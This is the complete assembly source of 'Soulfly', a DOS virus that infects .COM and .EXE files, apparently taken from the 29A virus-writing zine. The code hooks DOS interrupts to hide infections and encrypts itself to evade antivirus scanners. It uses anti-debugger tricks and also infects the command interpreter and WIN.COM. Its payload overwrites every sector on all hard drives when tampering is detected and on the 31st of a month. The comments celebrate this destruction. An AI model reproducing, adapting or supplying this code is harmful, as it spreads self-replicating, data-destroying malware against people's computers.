Copy Link
Add to Bookmark
Report
29A Issue 03 05 09
;============================================================================
;
;
; NAME: Soulfly v1.00
; TYPE: Full-stealth variable encrypting .COM & .EXE-infector.
; SIZE: 2000 bytes.
; OS: DOS.
; CPU: 286+
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - January 1999.
; PAYLOAD: But ofcourse, disktrashing.
;
;
; - Full-stealth (network/Win95 compatible).
; - Variable encrypted in files (including hostbytes).
; - Disables stealth during execution archivers/disktools.
; - Goes resident in UMB-area if available.
; - Infects files pointed to COMSPEC and WINDIR-variables.
; - Anti-debugger/tracer/disassembler/emulator tricks.
; - Passes sanity-checks.
; - Highly destructive payload, no sector is safe.
;
;
; "I'LL MAKE YOU BLEED AND YOU'RE BLEEDING NOW!! MUTHAFUCKA!!"
;
;============================================================================
.MODEL TINY
.STACK Virus_Stack
.286
.CODE
Virus_Stack EQU 1024
Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 15) / 16
Res_Check_AX EQU 0DB66h
Res_Check_BX EQU 83FBh
Marker_Mem_AX EQU 1112h
Marker_Mem_BX EQU 1EE7h
Marker_File EQU 9AEAh
Century EQU 100 SHL 1
Encrypted_Size EQU (End_Encrypted - Encrypted)
START:
PUSH DS ; Save PSP of our host.
CALL Get_Delta
Anti_Disasm: DB 0EAh
Get_Delta: POP DS ; Use a segment-register so
; F-Prot won't yell.
MOV SI, DS
SUB SI, (Anti_Disasm - Start)
PUSH CS
POP DS
MOV AX, 0 ; Initial decryption-key.
Init_Key = WORD PTR $-2
MOV BX, OFFSET End_Encrypted - 2
MOV CX, (Encrypted_Size / 2)
Decrypt_Word: XOR [SI+BX], AX ; Decrypt a word.
DEC BX ; Next (previous) word.
DEC BX
ADD AX, 0 ; Key-slider, to fuck X-Rays.
Slide_Key = WORD PTR $-2
JMP Loop_Decrypt ; Reload that prefetch-que!
DB 9Ah
IF (($ - Start) MOD 2) EQ 1
DB -1
ENDIF
Loop_Decrypt: LOOP Decrypt_Word
Encrypted: CALL Anti_Debugger
AND DI, CX ; Zero DI.
JZ Do_Res_Check
DB 0EAh
Do_Res_Check: MOV AX, Res_Check_AX ; Residency-check.
MOV BX, Res_Check_BX
INT 21h
CMP AX, Marker_Mem_AX ; We're already up there?
JNE Make_Virus_TSR
CMP BX, Marker_Mem_BX ; Double-check.
JNE Make_Virus_TSR
JMP_Exec_Host: JMP Exec_Host
Make_Virus_TSR: MOV AX, 5802h ; Get UMB link state.
INT 21h
JC Try_Alloc_Mem
CBW ; Save link state on stack.
PUSH AX
MOV AX, 5803h ; Link UMB-chain.
PUSH AX
MOV BX, 01h
INT 21h
JC Try_Alloc_Mem
INC CX
MOV AX, 5800h ; Get allocation strategy.
INT 21h
JC Try_Alloc_Mem
PUSH AX ; Save strategy on stack.
MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; First fit, start with UMBs.
MOV BL, 80h
INT 21h
JC Try_Alloc_Mem
INC CX
Try_Alloc_Mem: MOV AH, 48h ; Try to allocate memory...
MOV BX, Virus_Size_Mem
INT 21h
JNC Copy_Virus_Up
MOV AH, 4Ah ; Get total size of block.
MOV BX, 0FFFFh
INT 21h
MOV AH, 4Ah ; Resize block, so there's
SUB BX, Virus_Size_Mem + 1 ; room for the virus.
INT 21h
JMP Try_Alloc_Mem
Trash_Text DB 'SOULFLY, FLY FREE!', 0Ah, 0Dh, '$'
Copy_Virus_Up: MOV ES, AX ; Our allocated block.
DEC AX ; MCB of allocated block.
MOV DS, AX
MOV [DI.MCB_PSP], 08h ; Block doesn't have a PSP.
MOV [DI.MCB_Program], 'CS' ; Used by the system.
JCXZ Do_Copy_Up
DEC CX
JZ Restore_Link
Restore_Alloc: POP AX ; Restore original allocation
POP BX ; strategy.
INT 21h
Restore_Link: POP AX ; Restore UMB link state.
POP BX
INT 21h
Do_Copy_Up: PUSH SI
MOV CX, (Virus_Size / 2) ; Copy virus to allocated
CLD ; segment.
SEGCS
REP MOVSW
POP SI
PUSH ES
POP DS
MOV Active_Switch, CX
JCXZ Get_Int13h ; To confuse some analyzers.
DB 9Ah
Get_Int13h: MOV AX, 3513h ; Get address INT 13h for
INT 21h ; payload-routine.
MOV Int13h, BX ; Save it.
MOV Int13h+2, ES
MOV AL, 21h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save it.
MOV Int21h+2, ES
MOV AH, 25h ; Chain our own handler.
MOV DX, OFFSET NewInt21h
INT 21h
CALL Infect_ComSpec
Exec_Host: PUSH CS
POP DS
ADD SI, OFFSET Host_Bytes
CALL Crypt_Header
POP ES ; PSP of current process.
XOR AX, AX
XOR BX, BX
CWD
CALL Check_4_EXE ; This host is a .EXE-file?
JE Exec_Host_EXE
Exec_Host_COM: MOV DI, 100h - 1 ; Restore original entry-
INC DI ; bytes of our host.
PUSH DI
MOV CL, 24 / 2
CLD
REP MOVSW
PUSH ES
POP DS
XOR SI, SI
XOR DI, DI
RETN
Exec_Host_EXE: MOV CX, ES ; Calculate effective
ADD CX, 10h ; segment.
ADD [SI.Program_CS], CX
ADD CX, [SI.Program_SS]
PUSH ES
POP DS
MOV SS, CX
MOV SP, CS:[SI.Program_SP]
XOR CX, CX
XOR DI, DI
JMP DWORD PTR CS:[SI.Program_IP]
Anti_Debugger:
POP DI ; POP return-address.
CMP BYTE PTR CS:[DI], 0CCh ; Debugger breakpoint?
JE Payload
CLI ; Stack-checker, to detect
PUSH AX ; debuggers and single-step
POP AX ; tracers such as TBClean.
DEC SP
DEC SP
POP BX
STI
CMP AX, BX ; They're the same?
JNE Payload ; Else fuck him over.
JMP DI
; NO HOPE = NO FEAR
Payload:
PUSH CS
POP DS
PUSH CS
POP ES
MOV BX, OFFSET Trash_Text
MOV CX, 01h
MOV DX, 80h
Trash_Loop: XOR AH, AH ; Reset drive.
CALL OldInt13h
MOV AX, 033Fh ; Trash track with garbage.
CALL OldInt13h
ADD CH, CL ; Take all tracks.
ADC DH, 0 ; Take all heads.
ADC DL, 0 ; Take all drives.
PUSH DX
MOV AH, 09h ; Let them know what hit 'em.
MOV DX, OFFSET Trash_Text
CALL OldInt21h
POP DX
JMP Trash_Loop
IRC_Hint DB '<Soulfly->', 0
NewInt21h:
JMP $+666h
Active_Switch = WORD PTR $-2
Chk_Stealth_F: CMP AH, 11h - 1 ; Findfirst (FCB) ?
JBE Chk_Stealth_H
CMP AH, 12h ; Findnext (FCB) ?
JA Chk_Stealth_H
Stealth_Size_F: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
OR AL, AL ; Abort if error.
JNZ JMP_RETF2_Exit
CALL Get_DTA
CMP DS:[BX.FCB_Drive], -1 ; Test for an extended FCB.
JNE FCB_Format_OK
ADD BX, 07h ; Coz we don't need it.
FCB_Format_OK: CMP BYTE PTR DS:[BX.FCB_Date+1], AL
JB RETF2_Exit
SUB BYTE PTR DS:[BX.FCB_Date+1], AL
SUB DS:[BX.FCB_Size], Virus_Size
SBB DS:[BX.FCB_Size+2], DX
JMP_RETF2_Exit: JMP RETF2_Exit
Chk_Stealth_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Chk_Stealth_W
CMP AH, 4Fh ; Findnext (handle) ?
JA Chk_Stealth_W
Stealth_Size_H: CALL OldInt21h ; Execute the function.
PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit
CALL Get_DTA
CMP BYTE PTR DS:[BX.Handle_Date+1], AL
JB RETF2_Exit
SUB BYTE PTR DS:[BX.Handle_Date+1], AL
SUB DS:[BX.Handle_Size], Virus_Size
SBB DS:[BX.Handle_Size+2], DX
JMP RETF2_Exit
Chk_Stealth_W: CMP AX, 714Eh ; Findfirst (Win95) ?
JB Chk_Stealth_Re
CMP AX, 714Fh ; Findnext (Win95) ?
JA Chk_Stealth_Re
.386 ; This routine will only be
; called in Win95, which is
; 386+.
Stealth_Size_W: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit
PUSH ES
POP DS
MOV DH, BYTE PTR DS:[DI.Win95_Date+1]
DEC SI ; Stamp is in DOS-format?
JZ Is_DOS_Format
PUSH SI
MOV AX, 71A7h ; Convert Win95-format to
XOR BL, BL ; DOS-format.
LEA SI, DS:[DI.Win95_Time]
CALL OldInt21h
POP SI
Is_DOS_Format: CMP DH, Century ; This file is infected?
JB RETF2_Exit
; Restore original filesize.
SUB DS:[DI.Win95_Size_Lo], LARGE Virus_Size
SBB DS:[DI.Win95_Size_Hi], 0
INC SI
JZ RETF2_Exit
SUB BYTE PTR DS:[DI.Win95_Date+1], Century
RETF2_Exit: POP ES
POP DS
POPA
POPF
RETF 2
.286 ; Back to 80286-mode.
Chk_Stealth_Re: CMP AH, 3Fh ; Read file?
JE Stealth_Read
JMP Chk_Seek_EOF
Stealth_Read: PUSHF
PUSHA
PUSH DS
PUSH ES
MOV CS:Bytes_To_Read, CX
MOV CS:Read_Buffer, DX
CALL Check_Handle
JS JMP_Exit_Abort
JNB File_Infected
JMP_Exit_Abort: JMP Exit_Abort
File_Infected: CALL Save_File_Pos
ADD AX, 0 ; Calculate end-position of
Bytes_To_Read = WORD PTR $-2 ; the caller's read.
ADC DX, CX
XCHG SI, AX ; Save it in DI:SI.
MOV DI, DX
CALL Go_EOF
SUB AX, Virus_Size ; Calculate uninfected size.
SBB DX, CX
CMP DI, DX ; Read reaches virusbody?
JB Not_In_Body
JA In_Body
CMP SI, AX
JNA Not_In_Body
In_Body: PUSH AX
PUSH DX
CALL Restore_File_Pos
POP DI ; Size uninfected.
POP SI
SUB SI, AX ; Calculate amount of bytes
; to read.
MOV CX, SI
JMP Do_Read
Not_In_Body: MOV CX, CS:Bytes_To_Read
Do_Read: PUSHA
CALL Restore_File_Pos
POPA
MOV DX, 0 ; Do the stealthed read.
Read_Buffer = WORD PTR $-2
CALL Read_File
JC RETF2_Exit
MOV [BP.Reg_AX], AX ; Store amount of bytes read.
PUSH AX
CALL Save_File_Pos
PUSH AX
PUSH DX
PUSH DS
POP ES
CALL Seek_Header
CALL Read_Header
CALL Crypt_Header
POP DX ; Position after read.
POP AX
POP CX
SUB AX, CX ; Pos readstart
SBB DX, 0
JNZ Exit_St_Read ; They read from the header?
CMP AX, 24
JNB Exit_St_Read
ADD CX, AX ; Calculate end-offset read.
JC Header_End
CMP CX, 24
JNA Read_St_Header
Header_End: MOV CX, 24
Read_St_Header: SUB CX, AX ; Calculate amount of bytes
; to stealth from header.
ADD SI, AX
MOV DI, Read_Buffer
CLD ; Copy the clean header into
REP MOVSB ; the caller's buffer.
Exit_St_Read: CALL Restore_File_Pos
JMP_RETF2_E: JMP RETF2_Exit
Restore_Abort: CALL Restore_File_Pos
Exit_Abort: POP ES
POP DS
POPA
POPF
Chk_Seek_EOF: CMP AX, 4202h ; Seek to EOF ?
JNE Chk_Stealth_Wr
Stealth_Seek: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_S_Seek
CALL Check_Handle
JS Exit_S_Seek
JB Exit_S_Seek
MOV AX, 4201h
MOV CX, -1
MOV DX, -Virus_Size
CALL OldInt21h
MOV [BP.Reg_AX], AX
MOV [BP.Reg_DX], DX
Exit_S_Seek: JMP JMP_RETF2_E
Chk_Stealth_Wr: CMP AH, 40h ; Write file?
JNE Chk_Debugger
Stealth_Write: CALL Check_Clean
Chk_Debugger: CMP AX, 4B01h
JNE Chk_Stealth_St
Clean_File: PUSHA
MOV AX, 3D92h
CALL OldInt21h
JC Exit_Clean_F
XCHG BX, AX
CALL Check_Clean
MOV AH, 3Eh
CALL OldInt21h
Exit_Clean_F: POPA
Chk_Stealth_St: CMP AX, 5700h ; Get filedate & time?
JNE Chk_Disk_Tool
Stealth_Stamp: CALL OldInt21h
PUSHF
JC Exit_Get_Stamp
CMP DH, Century
JB Exit_Get_Stamp
SUB DH, Century
Exit_Get_Stamp: POPF
RETF 2
Chk_Disk_Tool: CMP AH, 1Fh ; Get default DPB ?
JE Set_Inactive
CMP AH, 32h ; Get DPB ?
JNE Check_4_Exec
Set_Inactive: MOV CS:Active_Switch, (Inactive - Active_Switch) - 2
JMP Check_4_Exec
DB 9Ah
Check_4_Exec: CMP AX, 4B00h ; Program execute?
JE Init_Execute
CMP AH, 3Dh ; Open file?
JE Check_Infect
CMP AX, 6C00h ; Extended open?
JE Check_Infect
CMP AH, 41h ; Delete file?
JE Check_Infect
Inactive: CMP AH, 4Ch ; Program terminate (PSP) ?
JE Enable_Stealth
CMP AH, 31h ; Terminate & stay resident?
JE Enable_Stealth
OR AH, AH ; Program terminate (CS) ?
JNZ Check_4_Res
Enable_Stealth: AND CS:Active_Switch, 0
Check_4_Res: CMP AX, Res_Check_AX
JNE JMP_Int21h
CMP BX, Res_Check_BX
JE Return_Marker
JMP_Int21h: DB 0EAh ; JMP FAR opcode.
Int21h DW 0, 0
; Check if the call was made by the virus, if not, call the payload.
Return_Marker:
PUSHA
PUSH ES
PUSH CS
POP ES
MOV DI, OFFSET Encrypted
ADD SI, DI
MOV CX, (Exec_Host - Encrypted)
CLD
REPE CMPSB
POP ES
POPA
JE Caller_Is_OK
JMP Payload
Caller_Is_OK: MOV AX, Marker_Mem_AX
MOV BX, Marker_Mem_BX
IRET
Init_Execute:
PUSHA
PUSH DS
PUSH ES
MOV AH, 2Ah ; Get system-date.
CALL OldInt21h
CMP DL, 31 ; 31st of any month?
JB No_Activate
MOV AH, 2Ch ; Get system-time.
CALL OldInt21h
OR CL, CL ; We're in the first minute?
JNZ No_Activate
JMP Payload
No_Activate: MOV SI, OFFSET Archivers ; A known archiver is about
CALL Scan_Line ; to get executed?
JNE Exit_Init_Exec
; === Then temporarily disable stealth & infection. ===
MOV CS:Active_Switch, (Inactive - Active_Switch) - 1
Exit_Init_Exec: POP ES
POP DS
POPA
Check_Infect: PUSHA
PUSH DS
PUSH ES
CALL Anti_Debugger
CALL Hook_Int24h
CMP AX, 6C00h ; Extended open?
JNE Check_Ext
MOV DX, SI ; Then adjust register.
Check_Ext: MOV SI, DX
Find_End_Str: CLD ; Find end of ASCIIZ-string.
LODSB
OR AL, AL
JNZ Find_End_Str
MOV AX, [SI-2]
CALL Make_Uppercase
XCHG BX, AX
MOV AX, [SI-4]
CALL Make_Uppercase
Check_Ext_COM: CMP AX, 'OC' ; .COM-extension?
JNE Check_Ext_EXE
CMP BL, 'M'
JE Save_File_Attr
Check_Ext_EXE: CMP AX, 'XE' ; .EXE-extension?
JNE JMP_Exit_Inf
CMP BL, AL
JE Save_File_Attr
JMP_Exit_Inf: JMP Exit_Infect
Save_File_Attr: MOV CS:File_Name, DX ; Save filename.
MOV CS:File_Name+2, DS
MOV AX, 4300h ; Get file-attributes.
PUSH AX
CALL OldInt21h
POP AX
JC JMP_Exit_Inf
MOV CS:File_Attr, CX ; Save 'em.
INC AX ; Remove readonly-flag.
AND CL, NOT 00000001b
CALL OldInt21h
JC JMP_Exit_Inf
Open_Candidate: MOV AX, 3D92h ; Open the candidate-file.
CALL OldInt21h
JNC File_Opened
JMP Restore_Attr
File_Opened: XCHG BX, AX
CALL Check_Handle
JS Abort_Infect
JNB Abort_Infect
PUSH CS
POP ES
CALL Read_Header
JC Abort_Infect
CMP [SI.Checksum], Marker_File
JE Abort_Infect
Check_Min_Size: CALL Go_EOF
OR DX, DX
JNZ Not_Too_Small
CMP AX, 560
JB Abort_Infect
Not_Too_Small: CALL Check_4_EXE
JE Chk_4_Overlay
Check_COM: OR DX, DX
JNZ Abort_Infect
CMP AX, (65535 - (Virus_Size + 1024))
JB Chk_4_Inf_Date
JMP Abort_Infect
Chk_4_Overlay: CALL Div_512_Pages
CMP AX, [SI.Image_512_Pages]
JNE Abort_Infect
CMP DX, [SI.Image_Mod_512]
JNE Abort_Infect
Check_4_NE_PE: CMP [SI.Reloc_Table], 40h ; It's a possible NE/PE-file?
JB Chk_4_Inf_Date
MOV AX, 4200h ; Seek to the NE/PE-header.
MOV CX, [SI+3Ch+2]
MOV DX, [SI+3Ch]
CALL OldInt21h
MOV CX, 2
LEA DX, [SI+3Ch]
CALL Read_File
CMP [SI+3Ch], 'EN' ; Avoid NE-files.
JE Abort_Infect
CMP [SI+3Ch], 'EP' ; Avoid PE-files.
JE Abort_Infect
Chk_4_Inf_Date: CALL Save_File_Stamp
JB Infect_File
Abort_Infect: JMP Close_File_Inf
Infect_File: PUSH SI
MOV DI, OFFSET Host_Bytes
PUSH DI
MOV CX, 24 / 2
CLD
REP MOVSW
POP SI
IN AX, 40h
MOV [SI.Header_Key], AX
IN AX, 40h
MOV [SI.Header_Slider], AX
CALL Crypt_Header
IN AX, 40h
MOV Slide_Key, AX
XCHG DX, AX
IN AX, 40h
MOV Init_Key, AX
XOR SI, SI
MOV DI, OFFSET Buffer
PUSH DI
MOV CX, Virus_Size
PUSH CX
CLD
REP MOVSB
MOV SI, OFFSET Buffer + ((End_Encrypted - Start) - 2)
MOV CX, (Encrypted_Size / 2)
Encrypt_Word: XOR [SI], AX
ADD AX, DX
DEC SI
DEC SI
LOOP Encrypt_Word
CALL Go_EOF
XCHG BP, AX
MOV DI, DX
POP CX
POP DX
CALL Write_File
POP SI
JC Close_File_Inf
CALL Check_4_EXE ; We're infecting an .EXE ?
JE Infect_EXE
Infect_COM: SUB BP, 3 ; Calculate JMP-displacement.
MOV [SI.Jump], 0E9h ; JMP opcode.
MOV [SI.Displacement], BP ; Pointing to the viruscode.
JMP Set_Header
Infect_EXE: PUSH BP
PUSH DI
MOV AX, [SI.Header_Size_Mem]
MOV CX, 16
MUL CX
XCHG BP, AX ; Headersize in bytes.
MOV DI, DX
POP DX
POP AX
SUB AX, BP ; Calculate size of image.
SBB DX, DI
MOV CL, 16 ; Calculate new CS:IP.
DIV CX
MOV [SI.Program_CS], AX
MOV [SI.Program_IP], DX
ADD AX, ((Virus_Size + 15) / 16)
MOV [SI.Program_SS], AX
MOV [SI.Program_SP], Virus_Stack
CALL Div_512_Pages
MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX
ADD [SI.Min_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
ADD [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
JNC Set_Header
SUB [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
Set_Header: MOV [SI.Checksum], Marker_File
CALL Write_Header
ADD BYTE PTR File_Date+1, Century
CALL Restore_File_Stamp
Close_File_Inf: MOV AH, 3Eh ; Close file.
CALL OldInt21h
Restore_Attr: MOV AX, 4301h - 1 ; Restore original file-
INC AX ; attributes.
MOV CX, 0
File_Attr = WORD PTR $-2
LDS DX, DWORD PTR CS:File_Name
CALL OldInt21h
Exit_Infect: CALL Unhook_Int24h
POP ES
POP DS
POPA
JMP JMP_Int21h
OldInt13h:
PUSHF
DB 9Ah
Int13h DW 0, 0
RETN
Div_512_Pages:
CALL Go_EOF
MOV CH, 512 SHR 8 ; Divide in 512-byte pages.
DIV CX
OR DX, DX ; No rest?
JZ Exit_Div_512
INC AX ; Else round to next 512.
Exit_Div_512: RETN
Author DB 'T-2000 / Immortal Riot', 0
Save_File_Stamp:
MOV AX, 5700h
CALL OldInt21h
MOV CS:File_Time, CX
MOV CS:File_Date, DX
CMP DH, Century
RETN
Restore_File_Stamp:
MOV AX, 5701h
MOV CX, 0
File_Time = WORD PTR $-2
MOV DX, 0
File_Date = WORD PTR $-2
JMP OldInt21h
Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF:
MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD
OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h
RETN
; DS:DX = line.
; CS:SI = table.
Scan_Line:
PUSHA
PUSH CS
POP ES
PUSH SI
MOV SI, DX
Find_End_Line: CLD
LODSB
OR AL, AL
JNZ Find_End_Line
DEC SI
MOV CX, SI
Find_Filename: STD
LODSB
CMP AL, '\'
JE Found_Filename
LOOP Find_Filename
JMP Adjust_DI
Found_Filename: INC SI
INC SI
CMP SI, DX ; No path was supplied?
JA Offset_OK
Adjust_DI: MOV SI, DX ; Then adjust DI.
Offset_OK: MOV DI, OFFSET Filename_Buffer
MOV CX, 12
PUSH DI
CLD
Conv_Filename: LODSB
CALL Make_Uppercase
STOSB
LOOP Conv_Filename
POP DI
POP SI
Comp_Filename: SEGCS
LODSB
CBW
XCHG CX, AX
CMP CX, DI ; NZ
JCXZ Exit_Scan_Line
PUSHA
SEGCS
REPE CMPSB
POPA
PUSHF
ADD SI, CX
POPF
JE Exit_Scan_Line
JMP Comp_Filename
Exit_Scan_Line: POPA
CLD
RETN
; DS:SI = Header.
Crypt_Header:
PUSHA
PUSH ES
PUSH CS
POP ES
MOV DI, SI
MOV BX, [SI.Header_Key]
MOV DX, [SI.Header_Slider]
MOV CL, (24 / 2)
Copy_Crypt_W: CLD
LODSW
XOR AX, BX
ROR BX, CL
ADD BX, DX
STOSW
LOOP Copy_Crypt_W
LODSW
STOSW
LODSW
STOSW
POP ES
POPA
RETN
Archivers DB 09, 'PKZIP.EXE'
DB 07, 'ARJ.EXE'
DB 07, 'LHA.EXE'
DB 07, 'RAR.EXE'
DB 10, 'BACKUP.EXE'
DB 07, 'FTP.EXE'
DB 0
Get_DTA:
MOV AX, 2F00h + Century
CALL OldInt21h
PUSH ES
POP DS
CWD ; Zero DX.
RETN
Check_Clean:
PUSHF
PUSHA
PUSH DS
PUSH ES
CALL Hook_Int24h
CALL Check_Handle
JS Exit_Clean_H
JB Exit_Clean_H
CALL Save_File_Pos
CALL Seek_Header
CALL Read_Header
CALL Crypt_Header
CALL Write_Header
MOV AX, 4202h
MOV CX, -1
MOV DX, -Virus_Size
CALL OldInt21h
INC CX ; Cut-off virusbody.
CALL Write_File
CALL Restore_File_Pos
SUB BYTE PTR File_Date+1, Century
CALL Restore_File_Stamp
Exit_Clean_H: CALL Unhook_Int24h
POP ES
POP DS
POPA
POPF
RETN
Hook_Int24h:
PUSHA
PUSH DS
PUSH CS
POP DS
MOV AX, 3524h
CALL OldInt21h
MOV Int24h, BX
MOV Int24h+2, ES
MOV AH, 25h
MOV DX, OFFSET NewInt24h
CALL OldInt21h
POP DS
POPA
RETN
Unhook_Int24h:
MOV AX, 2524h
LDS DX, DWORD PTR CS:Int24h
JMP OldInt21h
NewInt24h:
MOV AL, 03h
IRET
Save_File_Pos:
MOV AX, 4201h
XOR CX, CX
CWD
CALL OldInt21h
MOV CS:File_Pos_Lo, AX
MOV CS:File_Pos_Hi, DX
RETN
Restore_File_Pos:
MOV AX, 4200h
MOV CX, 0
File_Pos_Hi = WORD PTR $-2
MOV DX, 0
File_Pos_Lo = WORD PTR $-2
JMP OldInt21h
Seek_Header:
MOV AX, 4202h
DEC CX
MOV DX, -28
JMP OldInt21h
Read_Header:
PUSH CS
POP DS
MOV SI, OFFSET Header
MOV CX, 40h
MOV DX, SI
CALL Read_File
JC Exit_Read_Hdr
CMP AX, CX
Exit_Read_Hdr: RETN
Read_File:
MOV AH, 3Fh
JMP OldInt21h
Write_Header:
CALL Go_BOF
MOV CL, 24 ; Write updated header.
MOV DX, SI
Write_File: MOV AH, 40h
JMP OldInt21h
; Converts characters in AX to uppercase.
Make_Uppercase:
CMP AL, 'a'
JB Check_Upper_AH
CMP AL, 'z'
JA Check_Upper_AH
SUB AL, 'a' - 'A'
Check_Upper_AH: CMP AH, 'a'
JB Exit_Uppercase
CMP AH, 'z'
JA Exit_Uppercase
SUB AH, 'a' - 'A'
Exit_Uppercase: RETN
Check_Handle:
XOR SI, SI
MOV AX, 4400h
CALL OldInt21h
OR DL, DL
JS Exit_Chk_File
CALL Save_File_Stamp
MOV BP, SP
INC BP
INC BP
INC SI
Exit_Chk_File: RETN
Infect_ComSpec:
PUSHA
PUSH DS
POP ES
MOV AH, 62h ; Get current PSP.
INT 21h
XOR SI, SI
MOV DS, BX
MOV DS, DS:[SI+2Ch]
Comp_Env_Var: CMP DS:[SI], CL ; End of settings reached?
JZ Exit_Inf_ComSpec
MOV AX, DS:[SI+5]
CALL Make_Uppercase
XCHG BX, AX
MOV AX, DS:[SI]
CALL Make_Uppercase
CMP AX, 'OC' ; Look for 'COMSPEC='.
JNE Test_4_Win_Dir
CMP BX, 'CE'
JNE Test_4_Win_Dir
Found_ComSpec: MOV AX, 3D00h ; Infect command-interpreter.
LEA DX, [SI+8]
INT 21h
Test_4_Win_Dir: CMP AX, 'IW' ; Look for 'WINDIR='.
JNE Get_Next_Var
CMP BX, '=R'
JNE Get_Next_Var
PUSH SI
ADD SI, 7
MOV DI, OFFSET Filename_Buffer
MOV DX, DI
Copy_Byte_W_D: CLD
LODSB
OR AL, AL
JZ Win_Dir_Copied
STOSB
JMP Copy_Byte_W_D
Win_Dir_Copied: PUSH DS
PUSH ES
POP DS
MOV SI, OFFSET Win95_Init
MOV CL, 9
REP MOVSB
MOV AH, 3Dh ; Infect WIN.COM.
INT 21h
POP DS
POP SI
Get_Next_Var: CLD
Find_Next_Var: LODSB
OR AL, AL
JNZ Find_Next_Var
JMP Comp_Env_Var
Exit_Inf_ComSpec:
POPA
RETN
DB 0EAh
Check_4_EXE:
CMP [SI.EXE_Mark], 'ZM'
RETN
Win95_Init DB '\WIN.COM', 0
IF (($ - Start) MOD 2) EQ 1
DB 0
ENDIF
End_Encrypted:
Host_Bytes DW 'ZM'
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier
DW 0
DW 0
DW 0
Virus_End:
Int24h DW 0, 0
File_Name DW 0, 0
Header DB 40h DUP(0)
Filename_Buffer DB 32 DUP(0)
Buffer DB Virus_Size DUP(0)
Virus_End_Mem:
Carrier:
MOV AX, 4C00h
INT 21h
; ------------- SOME STRUCTURES ---------------------------------------------
COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
Encrypt_Header STRUC
DB 24 DUP(0)
Header_Key DW 0
Header_Slider DW 0
Encrypt_Header ENDS
Find_FN_Handle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DW 0, 0
Handle_Name DW 6 DUP(0)
DB 0
Find_FN_Handle ENDS
Find_FN_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DW 0, 0
Find_FN_FCB ENDS
Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_SP DW 0
Reg_BX DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS
Find_FN_Win95 STRUC
Win95_Attr DD 0
Win95_Created DD 0, 0
Win95_Access DD 0, 0
Win95_Time DW 0
Win95_Date DW 0
DD 0
Win95_Size_Hi DD 0
Win95_Size_Lo DD 0
Win95_Reserved DB 8 DUP(0)
Win95_Win_Name DB 260 DUP(0)
Win95_DOS_Name DB 14 DUP(0)
Find_FN_Win95 ENDS
MCB_Header STRUC
MCB_Type DB 0 ; M = not last block, Z = last block.
MCB_PSP DW 0 ; PSP-segment of this block.
MCB_Size_Mem DW 0 ; Size of block in paragraphs.
MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it.
MCB_Program DW 4 DUP(0) ; Filename of program of this block.
MCB_Header ENDS
END START